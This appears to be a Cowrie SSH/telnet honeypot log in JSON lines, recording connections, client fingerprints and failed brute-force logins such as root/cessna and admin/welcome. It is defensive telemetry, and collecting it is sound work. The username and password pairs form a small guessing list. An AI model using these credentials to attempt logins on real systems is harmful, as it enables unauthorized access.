{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:00.857085Z","src_ip":"194.59.206.2","session":"c869f2e82828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:00.949666Z","src_ip":"194.59.206.2","session":"c869f2e82828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:01.050488Z","src_ip":"194.59.206.2","session":"c869f2e82828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55088,"dst_ip":"159.203.135.109","dst_port":23,"session":"016f3b15672b","protocol":"telnet","message":"New connection: 107.6.151.170:55088 (159.203.135.109:23) [session: 016f3b15672b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:04.881348Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43938,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c4c9067ac40","protocol":"ssh","message":"New connection: 103.176.20.57:43938 (10.17.0.5:22) [session: 6c4c9067ac40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:11.404254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:11.409058Z","src_ip":"103.176.20.57","session":"6c4c9067ac40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:11.653496Z","src_ip":"103.176.20.57","session":"6c4c9067ac40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"405060","message":"login attempt [root/405060] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:12.386696Z","src_ip":"103.176.20.57","session":"6c4c9067ac40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:13.631878Z","src_ip":"103.176.20.57","session":"6c4c9067ac40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":47086,"dst_ip":"159.203.135.109","dst_port":22,"session":"588a2de9c2d1","protocol":"ssh","message":"New connection: 38.93.206.2:47086 (159.203.135.109:22) [session: 588a2de9c2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:22.099884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:22.103678Z","src_ip":"38.93.206.2","session":"588a2de9c2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:22.174109Z","src_ip":"38.93.206.2","session":"588a2de9c2d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cessna","message":"login attempt [root/cessna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:22.325993Z","src_ip":"38.93.206.2","session":"588a2de9c2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:23.378202Z","src_ip":"38.93.206.2","session":"588a2de9c2d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":36242,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b5ad574ec9","protocol":"ssh","message":"New connection: 162.240.20.137:36242 (159.203.135.109:22) [session: a7b5ad574ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:25.457561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:25.460690Z","src_ip":"162.240.20.137","session":"a7b5ad574ec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:25.549528Z","src_ip":"162.240.20.137","session":"a7b5ad574ec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"portal789","message":"login attempt [root/portal789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:25.815225Z","src_ip":"162.240.20.137","session":"a7b5ad574ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:28.375733Z","src_ip":"162.240.20.137","session":"a7b5ad574ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.37444567680359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:36.255649Z","src_ip":"107.6.151.170","session":"016f3b15672b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49704,"dst_ip":"10.17.0.5","dst_port":22,"session":"08695c1efabc","protocol":"ssh","message":"New connection: 103.82.20.28:49704 (10.17.0.5:22) [session: 08695c1efabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:19.758618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:19.762407Z","src_ip":"103.82.20.28","session":"08695c1efabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:20.025579Z","src_ip":"103.82.20.28","session":"08695c1efabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221291","message":"login attempt [root/221291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:20.806700Z","src_ip":"103.82.20.28","session":"08695c1efabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:22.069787Z","src_ip":"103.82.20.28","session":"08695c1efabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43992,"dst_ip":"10.17.0.5","dst_port":22,"session":"89722202f0bb","protocol":"ssh","message":"New connection: 103.153.68.219:43992 (10.17.0.5:22) [session: 89722202f0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:34.496698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:34.500260Z","src_ip":"103.153.68.219","session":"89722202f0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:34.744799Z","src_ip":"103.153.68.219","session":"89722202f0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nancy","message":"login attempt [root/nancy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:35.479917Z","src_ip":"103.153.68.219","session":"89722202f0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:36.727417Z","src_ip":"103.153.68.219","session":"89722202f0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":59242,"dst_ip":"10.17.0.5","dst_port":22,"session":"4296299e11ac","protocol":"ssh","message":"New connection: 91.92.40.176:59242 (10.17.0.5:22) [session: 4296299e11ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:49.805082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:49.815468Z","src_ip":"91.92.40.176","session":"4296299e11ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:49.904864Z","src_ip":"91.92.40.176","session":"4296299e11ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welcome","message":"login attempt [admin/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:50.323470Z","src_ip":"91.92.40.176","session":"4296299e11ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49880,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1594af5a659","protocol":"ssh","message":"New connection: 51.250.105.222:49880 (159.203.135.109:22) [session: a1594af5a659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:50.608497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:50.612361Z","src_ip":"51.250.105.222","session":"a1594af5a659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:50.742801Z","src_ip":"51.250.105.222","session":"a1594af5a659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:51.110056Z","src_ip":"51.250.105.222","session":"a1594af5a659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:51.622798Z","src_ip":"91.92.40.176","session":"4296299e11ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:52.230788Z","src_ip":"51.250.105.222","session":"a1594af5a659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":33018,"dst_ip":"10.17.0.5","dst_port":23,"session":"784eb2a06b06","protocol":"telnet","message":"New connection: 154.90.70.69:33018 (10.17.0.5:23) [session: 784eb2a06b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:56.520431Z"}
{"eventid":"cowrie.session.closed","duration":0.0038213729858398438,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:56.524095Z","src_ip":"154.90.70.69","session":"784eb2a06b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":33028,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6558800437","protocol":"telnet","message":"New connection: 154.90.70.69:33028 (10.17.0.5:23) [session: ef6558800437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:56.596816Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"annie2012","message":"login attempt [root/annie2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:58.397724Z","src_ip":"154.90.70.69","session":"ef6558800437","protocol":"telnet"}
